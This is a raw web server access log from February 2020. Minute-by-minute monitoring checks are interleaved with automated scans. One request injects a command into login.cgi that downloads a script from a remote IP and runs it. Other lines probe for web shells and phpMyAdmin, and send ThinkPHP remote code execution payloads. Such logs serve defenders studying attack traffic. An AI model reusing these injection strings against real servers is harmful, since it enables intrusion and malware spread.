212.91.246.72 - - [24/Feb/2020:22:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.64.94.220 - - [24/Feb/2020:22:07:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.92.51.153 - - [24/Feb/2020:22:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:22:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [24/Feb/2020:22:14:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [24/Feb/2020:22:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:18:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
106.52.68.193 - - [24/Feb/2020:22:18:51 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
106.52.68.193 - - [24/Feb/2020:22:18:52 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
106.52.68.193 - - [24/Feb/2020:22:19:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:19:15 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:19:15 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:19:15 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:19:15 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [24/Feb/2020:22:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:19:38 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
128.14.134.134 - - [24/Feb/2020:22:19:55 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:20:02 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:20:27 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [24/Feb/2020:22:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:20:50 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:21:15 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [24/Feb/2020:22:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:21:38 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
125.64.94.220 - - [24/Feb/2020:22:22:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:22:22:02 +0100] "\x16\x03\x01" 501 318 "-" "-"
106.52.68.193 - - [24/Feb/2020:22:22:03 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
106.52.68.193 - - [24/Feb/2020:22:22:04 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:04 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:04 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:04 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:04 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:05 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:05 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:05 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:05 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:06 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:06 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:06 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:06 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:06 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:07 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:09 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:10 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:10 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:10 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:11 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:11 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:12 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:13 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:14 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:14 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:15 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:15 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:17 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:18 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:18 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:19 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:19 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:22 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:22 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:23 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:24 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:26 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:26 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:26 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:27 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:27 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:29 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:30 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:30 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:31 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:31 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:31 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:31 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:31 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:32 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:22:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:22:33 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:33 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:34 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:34 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:35 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:35 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:35 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:35 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:35 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:36 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:37 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:38 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:38 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:39 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:39 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:39 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:40 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:40 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:42 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:42 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:43 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:43 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:43 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:43 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:44 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:44 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:44 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
